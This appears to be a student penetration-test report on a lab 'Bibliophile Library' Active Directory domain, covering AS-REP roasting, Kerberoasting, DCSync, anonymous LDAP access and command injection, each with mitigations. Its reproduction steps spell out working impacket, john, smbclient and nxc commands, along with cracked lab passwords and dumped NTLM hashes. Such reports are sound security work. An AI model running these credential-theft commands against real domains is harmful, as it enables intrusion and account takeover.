



# Bibliophile Library Penetration Testing Report

Prepared by:

Team 8

05/04/2025

**CONFIDENTIAL**



## Table of Contents

Table of Contents .....	2
Finding Classifications .....	4
Business Impact .....	4
CVSS Score .....	4
Critical Risk Findings .....	6
AS Rep Roasting .....	6
Description .....	6
Business Impact .....	7
Affected Systems .....	7
Mitigations .....	7
References .....	7
Steps for Reproduction .....	7
KerbeRoasting .....	9
Description .....	9
Business Impact .....	9
Affected Systems .....	9
Mitigations .....	9
References .....	9
Steps for Reproduction .....	9
Domain Synchronization .....	11
Description .....	11
Business Impact .....	11
Affected Systems .....	11
Mitigations .....	11
References .....	11
Steps for Reproduction .....	11
High Risk Findings .....	13
Default Credentials .....	13
Description .....	13
Affected Systems .....	14

CONFIDENTIAL



Mitigations.....	14
References.....	14
Steps for Reproduction .....	14
Command Injection .....	16
Description.....	16
Affected Systems.....	16
Mitigations.....	16
References.....	16
Steps for Reproduction .....	16



## Finding Classifications

Team-8 utilized a two-dimensional matrix, see below, consisting of the business impact and Common Vulnerability Scoring System v4.0 (CVSS) score of each finding to categorize it within one of five overall security risk categories: informational, low, moderate, high, and critical. These categories were organized to prioritize the remediation of findings that would cause RAKMS financial loss, non-compliance with governance requirements, and reputational impact.

CVSS Score	Business Impact				
	N/A (1)	Low (2)	Moderate (3)	High (4)	Critical (5)
<b>N/A - 0.0 (a)</b>	1a	2a	3a	4a	5a
<b>0.1 - 3.9 (b)</b>	1b	2b	3b	4b	5b
<b>4.0 - 6.9 (c)</b>	1c	2c	3c	4c	5c
<b>8.0 - 8.9 (d)</b>	1d	2d	3d	4d	5d
<b>9.0 - 10.0 (e)</b>	1e	2e	3e	4e	5e

**Overall Risk Key:** ■ Informational ■ Low ■ Moderate ■ High ■ Critical

## Business Impact

Team-8 incorporates business impact into the result for the categorization of a finding to help prioritize mitigation efforts and allocate resources effectively to address the most critical issues. We base our qualitative measurement on the ability of a finding to impact RAKMS's ability to conduct business, ensure public safety and security, protect customer information, or stay in compliance with government regulations and business standards. As Team-8 is operating under limited knowledge of the business operations of RAKMS, we would recommend RAKMS to review the business impact of these findings to provide a better understanding of the overall risk of said findings.

## CVSS Score

The Common Vulnerability Scoring System (CVSS) is a widely recognized industry standard used to evaluate and communicate the severity of security vulnerabilities in computer systems and software. It provides a structured framework for assessing a vulnerability's potential impact, exploitability, complexity, and privileges required for exploitation, assigning it a numeric score from 0 to 10, with higher scores indicating greater risk. CVSS assists organizations in prioritizing and addressing security flaws by considering their impact on confidentiality, integrity, and availability. In our security assessments, we adhere to the CVSS framework, which allows us to accurately gauge the severity of vulnerabilities and effectively communicate their potential risks.

CVSS Metric		Default Creds	ASRep-Roasting	Kerber-Roasting	Domain Controller Sync	Command Injection
Exploitability Metrics	Attack Vector	N	N	N	N	N
	Attack Complexity	L	L	L	L	L

CONFIDENTIAL



	Attack Requirement	P	P	P	P	P
	Privileges Required	N	N	N	H	H
	User Interaction	N	N	N	N	N
Vulnerable System Impact Metrics	Confidentiality	L	H	H	H	L
	Integrity	N	N	N	N	N
	Availability	N	N	N	N	N
Subsequent System Impact Metrics	Confidentiality	L	L	H	H	N
	Integrity	N	N	N	N	N
	Availability	N	N	N	N	N
Supplemental Metrics	Safety	X	X	X	X	X
	Automatable	Y	Y	Y	Y	Y
	Recovery	X	X	X	X	X
	Value Density	X	X	X	X	X
	Vulnerability Response Effort	L	L	L	L	L
	Provider Urgency	X	X	X	X	X
CVSS Score		6.3	8.2	8.9	6.9	6.3



## Critical Risk Findings

AS Rep Roasting			
Findings Categorization			
Business Impact	4d	CVSS v4.0 Score	8.2

### Description

"Adversaries may reveal credentials of accounts that have disabled Kerberos pre-authentication by Password Cracking Kerberos messages. Pre-authentication offers protection against offline Password Cracking. When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user's password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user's password.[2]

For each account found without pre-authentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline Password Cracking attacks similarly to Kerberoasting and expose plaintext credentials.

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts." [MITRE T1558.004](#)



## Business Impact

This vulnerability is harmful because the credentials are for a domain user. Domain users belong to a domain, which grants or restricts privileges to each user, group or object (in general). Should this compromised user account have privileges over any other object, they may have the ability to control other objects such as users or groups; which can lead to changing passwords or elevating privileges. Additionally, should the attacker be able to crack the password, they may be able to remotely access any machine on the domain. For the target machine, the user IT.LUCY does have the ability for remote access. Upon access the machine (and depending on the user's permissions), the attacker may be able to perform privilege escalation, exfiltrate private information, disrupt services or shutdown the machine.

## Affected Systems

192.168.103.6 - Management Server

## Mitigations

"Kerberos pre-authentication is enabled by default. Older protocols might not support pre-authentication therefore it is possible to have this setting disabled. Make sure that all accounts have pre-authentication whenever possible and audit changes to setting. Windows tools such as PowerShell may be used to easily find which accounts have pre-authentication disabled. Additionally, RAKMS should ensure strong encryption techniques of Kerberos encryption. Lastly, RAKMS should ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. They should also consider using Group Managed Service Accounts or another third party product such as password vaulting." [MITRE 1558.004](#)

## References

Additional information can be found at the MITRE ATT&CK web page detailing [AS-Rep Roasting](#).

## Steps for Reproduction

AS-Rep Roasting

1. impacket-GetNPUsers -request -format hashcat -usersfile users.txt -dc-ip 192.168.103.6 corp.booktopia.local/ > asreproast.hash

Hash Cracking

2. john it.lucy\_asreproast.hash --wordlist=/usr/share/wordlists/rockyou.txt

Password is P@ssw0rd

LDAP Enumeration as IT.Lucy

Enumerating again as it.lucy, we find that this user belongs to the Remote Management Group, which allows for remote login.

3. nxc ldap 192.168.103.6 -u it.lucy -p P@ssw0rd --query "(cn=IT.Lucy)" ""

CONFIDENTIAL



```
(fen㉿kali)-[~/Desktop/192.168.103.6]
$ nxc ldap 192.168.103.6 -u it.lucy -p P@ssw0rd --query "(cn=IT.Lucy)" ""
SMB          192.168.103.6  445   WIN-NETRMLSNL2D  [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-NETRMLSNL2D) (domain:corp.booktopia.local) (signing:True) (SMBv1:False)
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  [+] corp.booktopia.local\it.lucy:P@ssw0rd
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  [+] Response for object: CN=IT.Lucy,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  objectClass:      top person organizationalPerson user
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  cn:           IT.Lucy
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  distinguishedName: CN=IT.Lucy,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  instanceType:     4
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  whenCreated:    20250410025335.0Z
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  whenChanged:    20250430003736.0Z
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  uSNCreated:    12841
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  memberOf:       CN=Remote Management Users,CN=Builtin,DC=corp,DC=booktopia,DC=local
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  uSNChanged:    21104
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  name:          IT.Lucy
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  objectGUID:     0x4be715abf92bc04d8dafb2ed39928200
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  userAccountControl: 4194816
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  badPwdCount:    0
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  codePage:       0
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  countryCode:    0
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  badPasswordTime: 133907731502775657
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  lastLogoff:     0
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  lastLogon:      13390774123868934
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  pwdLastSet:     13388727155784773
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  primaryGroupID: 513
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  objectSid:      0x0105000000000000515000000aff0afdd3b70b500
8e44c52c55040000
LDAP         192.168.103.6  389   WIN-NETRMLSNL2D  accountExpires: 0
```

CONFIDENTIAL



KerbeRoasting			
Findings Categorization			
Business Impact	5d	CVSS v4.0 Score	8.9

## Description

"Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service).

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials.

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts. [MITRE T1558.003](#)

## Business Impact

This vulnerability is harmful because the credentials are for a domain user, most specifically the domain administrator. Domain administrators have privileges over not only the target machine but also all of the machines that are on the domain. Domain administrators can modify any object on the domain including users, groups as well as access all resources on the domain; thus, possession of the domain administrator's credentials is extremely harmful to RAKMS.

## Affected Systems

192.168.103.6 - Management Server

## Mitigations

If service accounts are associated with a domain, the accounts should be associated with users with the lowest privileges. Additionally, RAKMS should ensure strong encryption techniques of Kerberos encryption. Lastly, RAKMS should ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. They should also consider using Group Managed Service Accounts or another third party product such as password vaulting." [MITRE 1558.003](#)

## References

Additional information can be found at the MITRE ATT&CK web page detailing [Kerberoasting](#).

## Steps for Reproduction

Kerberoasting

Upon kerberoasting using it.lucy's credentials, we did receive the hash for a Service, test

CONFIDENTIAL



Bibliophile Library Penetration Testing Report Informational Findings

1. GetUserSPNs.py -request -dc-ip 192.168.103.6 -outputfile kerberoast.hash corp.bootopeia.local/it.lucy:'P@ssw0rd'

```
[fen@kali)-[~]$ GetUserSPNs.py -request -dc-ip 192.168.103.6 -outputfile kerberoast.hash corp.booktopia.local/it.lucy:'P@ssw0rd'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName  Name          MemberOf
gon                 Delegation
_____
test/test           Administrator CN=Group Policy Creator Owners,CN=
Users,DC=corp,DC=booktopia,DC=local 2025-04-09 21:25:48.372887 2025-0
5-03 16:33:49.609506
```

## Hash Cracking

- ```
2. john kerberoast.hash --wordlist=/usr/share/wordlists/rockyou.txt
```

Password is 12qw!@QW

Since we have the Administrator credentials we can enumerate through the machine.

## SMB Access:

3. smbclient \\\\192.168.103.6\\C\$ -U corp.booktopia.local//Administrator%'12qw!@QW'

Traversing to \Users\it.lucy, we can find the flag.txt file. Download the file using get flag.txt and we can read the contents.

```
File Actions Edit View Help Top Download Pictures
Downloads DR 0 Sat Sep 15 03:19:00 2018
Favorites DR 0 Sat Sep 15 03:19:00 2018
flag.txt A 17 Tue Apr 29 20:39:47 2025
Links DR 0 Sat Sep 15 03:19:00 2018
Local Settings DHSRN 0 Tue Apr 29 20:37:47 2025
Music DR 0 Sat Sep 15 03:19:00 2018
My Documents DHSRN 0 Tue Apr 29 20:37:47 2025
NetHood DHSRN 0 Tue Apr 29 20:37:47 2025
NTUSER.DAT AHN 262144 Tue Apr 29 20:40:16 2025
ntuser.dat.LOG1 AHS 0 Tue Apr 29 20:37:47 2025
ntuser.dat.LOG2 AHS 32768 Tue Apr 29 20:37:47 2025
NTUSER.DAT[1c3790b4-b8ad-11e8-aa21-e41d2d101530].TM.blf AHS 65536 Tue Apr 29 20:40:16
6 2025
NTUSER.DAT[1c3790b4-b8ad-11e8-aa21-e41d2d101530].TMContainer00000000000000000000000000000001.regtrans-ms AHS 524288 Tue Apr 29 20:37:47 2025
NTUSER.DAT[1c3790b4-b8ad-11e8-aa21-e41d2d101530].TMContainer00000000000000000000000000000002.regtrans-ms AHS 524288 Tue Apr 29 20:37:47 2025
(fen㉿kali)-[~/Desktop/192.168.103.6] $ ls
Catalog_Privileges it.lucy_kerberoast.hash kereroast.hash users.txt
flag.txt IT.Lucy_privileges passwords.txt
(fen㉿kali)-[~/Desktop/192.168.103.6] $ cat flag.txt
CTTFUNLUCKY LUCY!
(fen㉿kali)-[~/Desktop/192.168.103.6] $
```

**CONFIDENTIAL**



| Domain Synchronization  |    |                 |     |
|-------------------------|----|-----------------|-----|
| Findings Categorization |    |                 |     |
| Business Impact         | 5c | CVSS v4.0 Score | 6.9 |

## Description

"Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API) to simulate the replication process from a remote domain controller using a technique called DCSync. Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller can run DCSync to pull password data from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket, change a user's password or login as another user." [MITRE T1003.006](#)

## Business Impact

This vulnerability is very harmful because the attacker now possess the NTLM hash for all domain users. Thus, allowing for the attacker to crack their hashes and store them for subsequent attacks or use them for remote access. Given that the attacker typically has already acquired domain administrator privileges to perform this attack, this technique is intended to steal as much private information as possible from the organization.

## Affected Systems

192.168.103.6 - Management Server

192.168.103.7 -Certificate Server

## Mitigations

Given that these are Windows machines, even if users exercised healthy password practices, attackers can still login to machines using NTLM authentication, thus we recommend RAKMS to strongly manage their access control list associated with domain controller replication.

## References

Additional information can be found at the MITRE ATT&CK web page detailing Domain [Synchronization](#).

## Steps for Reproduction

By leveraging the admin's credentials, we can perform domain control synchronization, which allows us to impersonate as a domain controller and grab all of the user hashes.

DCSYNC:

1. Impacket-secretsdump -just-dc corp.booktopia.local/Administrator:'12qw!@QW'@192.168.103.6

CONFIDENTIAL



```
[fen@kali] - [~/Desktop/192.168.103.6]
$ impacket-secretsdump -just-dc corp.booktopia.local/Administrator:'12qw!@QW'@192.168.103.6
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2c04eed3d4be0c97217a006b1aae8d09 :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:88d300b4bb28e9ebf23dc23cfa72c0b6 :::
Stewie:1106:aad3b435b51404eeaad3b435b51404ee:1b6f0b7891786fab7963b1e1be5fbb54 :::
Donna:1107:aad3b435b51404eeaad3b435b51404ee:1b6f0b7891786fab7963b1e1be5fbb54 :::
Mike:1108:aad3b435b51404eeaad3b435b51404ee:1b6f0b7891786fab7963b1e1be5fbb54 :::
corp.booktopia.local\it.lucy:1109:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 :::
corp.booktopia.local\Sam:1110:aad3b435b51404eeaad3b435b51404ee:3cbcd4067405b2f1255c14105e55b4c4 :::
corp.booktopia.local\Catalog:1111:aad3b435b51404eeaad3b435b51404ee:3cbcd4067405b2f1255c14105e55b4c4 :::
corp.booktopia.local\Peter:1112:aad3b435b51404eeaad3b435b51404ee:3cbcd4067405b2f1255c14105e55b4c4 :::
corp.booktopia.local\Linda:1113:aad3b435b51404eeaad3b435b51404ee:3cbcd4067405b2f1255c14105e55b4c4 :::
corp.booktopia.local\Kate:1114:aad3b435b51404eeaad3b435b51404ee:3cbcd4067405b2f1255c14105e55b4c4 :::
corp.booktopia.local\Carlos:1115:aad3b435b51404eeaad3b435b51404ee:3cbcd4067405b2f1255c14105e55b4c4 :::
corp.booktopia.local\Librarian:1116:aad3b435b51404eeaad3b435b51404ee:3cbcd4067405b2f1255c14105e55b4c4 :::
```

Then spraying these hashes against all of the users that we have we have a valid log in for machine 192.168.103.7.

Password Spray:

2. nxc smb 192.168.103.7 -u users.txt -p hashes.txt

```
SMB      192.168.103.7  445  WIN-7BCCHP42R05  [+]
          ee54e06b06a5907af13cef42 (Pwn3d!)
```

Subsequently, we proved how the NTLM hash grabbed are valid credentials to access machine 192.168.103.7



## High Risk Findings

| Default Credentials     |    |                 |     |
|-------------------------|----|-----------------|-----|
| Findings Categorization |    |                 |     |
| Business Impact         | 3c | CVSS v4.0 Score | 6.9 |

### Description

Default credentials allow unauthenticated users to use the credentials:

- Username: "
- Password: "

To query several services and learn information such as users, groups, permissions, or shares that reside on the machine; leading to unauthorized users learning potentially private information.

### Business Impact

The presence of this vulnerability can assist attackers in learning sensitive information regarding the users on this machine. Upon abusing this vulnerability, attackers can learn the groups and privileges that each user possesses allowing for them to identify users with higher privileges and label them as potential targets for future campaigns; such as phishing attacks or attacks on other devices associated with that user. Additionally, the information acquired may be sufficient to leak private information about an employee, which would:

- compromise the reputation of the company
- potentially violating government requirements

The vulnerable service on this machine include:

- LDAP
- SMB

These services are public facing thus attackers do not have to infiltrate a private network to gain access to this information however scanning a machine without permission is generally considered illegal by the Computer Fraud and Abuse Act. Additionally, should attackers leverage the default credentials, the permissions that they possess are not sufficient to perform remote code execution.

- This machine is a part of a domain so compromising this machine can lead to other machines on the domain being at higher risk of being compromised.
- This machine is the domain controller, thus if an attacker was able to compromise this machine, this can lead to full control of all other machines on the domain. This includes leaking all users passwords, full access, exfiltration of data and disruption of service since domain users can access any other machine on the domain, stop services, or even shut the machines down remotely.



## Affected Systems

192.168.103.6 – Domain Controller

- I didn't scan the domain to see if other machines were on the domain.

## Mitigations

This vulnerability exists because the machine allows for guest login. To disable guest access for the SMB server on this machine, RAKMS should configure the "Accounts: Guest account status" policy in the Local Group Policy Editor to "Disabled". Additionally, to disable guest access for the LDAP server on this machine, RAKMS should modify the LDAP client signing requirements in the Group Policy Editor to "Require Signing"

## References

Additional details on the impact of this vulnerability can be found in [T1078.008 in the MITRE ATT&CK Framework](#).

## Steps for Reproduction

Initial port scanning revealed several services running on this machine

1. sudo nmap -A -p- 192.168.103.6

```
(fen㉿kali)-[~/Desktop]
$ sudo nmap -A -p- 192.168.103.6
[sudo] password for fen:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-03 11:29 EDT
Nmap scan report for 192.168.103.6
Host is up (0.0085s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
53/tcp    open  domain      Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-03 17:31
:23Z)
135/tcp   open  msrpc       Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap        Microsoft Windows Kerberos (server time: 2025-05-03 17:31
:23Z)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http  Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap        Microsoft Windows Kerberos (server time: 2025-05-03 17:31
:23Z)
3269/tcp  open  tcpwrapped
49665/tcp open  msrpc       Microsoft Windows RPC
49667/tcp open  msrpc       Microsoft Windows RPC
49668/tcp open  ncacn_http  Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc       Microsoft Windows RPC
49671/tcp open  msrpc       Microsoft Windows RPC
49680/tcp open  msrpc       Microsoft Windows RPC
49697/tcp open  msrpc       Microsoft Windows RPC
```

Noticing that this machine has two LDAP servers on port 389 and 3268, we attempted default passwords to see if the server would reveal any information.

2. nxc ldap 192.168.103.6 -u " -p " --users



```
(fen㉿kali)-[~/Desktop]
$ nxc ldap 192.168.103.6 -u '' -p '' --users
SMB      192.168.103.6  445  WIN-NETRMLSNL2D  [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-NETRMLSNL2D) (domain:corp.booktopia.local) (signing:True) (SMBv1:False)
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  [+] corp.booktopia.local\
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  [*] Total records returned: 38
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Admin.Mickey,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Guest,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=krbtgt,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Domain Computers,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Domain Controllers,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Schema Admins,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Enterprise Admins,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Cert Publishers,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Domain Admins,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Domain Users,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Domain Guests,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Group Policy Creator Owners,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=RAS and IAS Servers,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Allowed RODC Password Replication Group,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Denied RODC Password Replication Group,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  C=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Read-only Domain Controllers,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Enterprise Read-only Domain Controllers,CN=Users,DC=corp,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  C=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Cloneable Domain Controllers,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Protected Users,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Key Admins,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Enterprise Key Admins,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=DnsAdmins,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=DnsUpdateProxy,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Intern.Stewie,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Archivist.Donna,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Manager.Mike,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=IT.Lucy,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Front.Desk.Sam,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Catalog,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Volunteer.Peter,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Events.Linda,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Assistant.Kate,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Grants.Carlos,CN=Users,DC=corp,DC=booktopia,DC=local
LDAP     192.168.103.6  389  WIN-NETRMLSNL2D  CN=Head.Librarian,CN=Users,DC=corp,DC=booktopia,DC=local
```

From this we know several users exists on the machine:

- Admin.Mickey
- Intern.Stewie
- Archivist.Donna
- Manager.Mike
- IT.Lucy
- Front.Desk.Sam
- Catalog
- Volunteer.Peter
- Events.Linda
- Assistant.Kate
- Grants.Carlos
- Head.Librarian



Upon password spraying the smb server, this was a valid login however this user did not have the privileges to list or enumerate shares.

| Θ                       | Command Injection |                 |     |
|-------------------------|-------------------|-----------------|-----|
| Findings Categorization |                   |                 |     |
| Business Impact         | 4c                | CVSS v4.0 Score | 6.3 |

## Description

Wen server allows for command injection, resulting in remote code execution

## Business Impact

Attackers can access a public facing web server to gain access to a private machine. Subsequently attackers can elevate privileges and exfiltrate information. Given that web servers typically accompany backend server such as databases; attacks of this kind can lead to data theft of customer data, ransom and loss of reputation.

## Affected Systems

192.168.103.2 – Library Server

## Mitigations

Strict control of user input can mitigate this attack. Additionally, RAKMS should enforce stronger configuration of their web server.

## References

## Steps for Reproduction

1. Enter the Library Terminal via http through port 5000. FTP into library catalog.
2. Through command injection you gain access to directories of different users.
3. You have access to credentials and files from directories such as Mickeys and Stewies.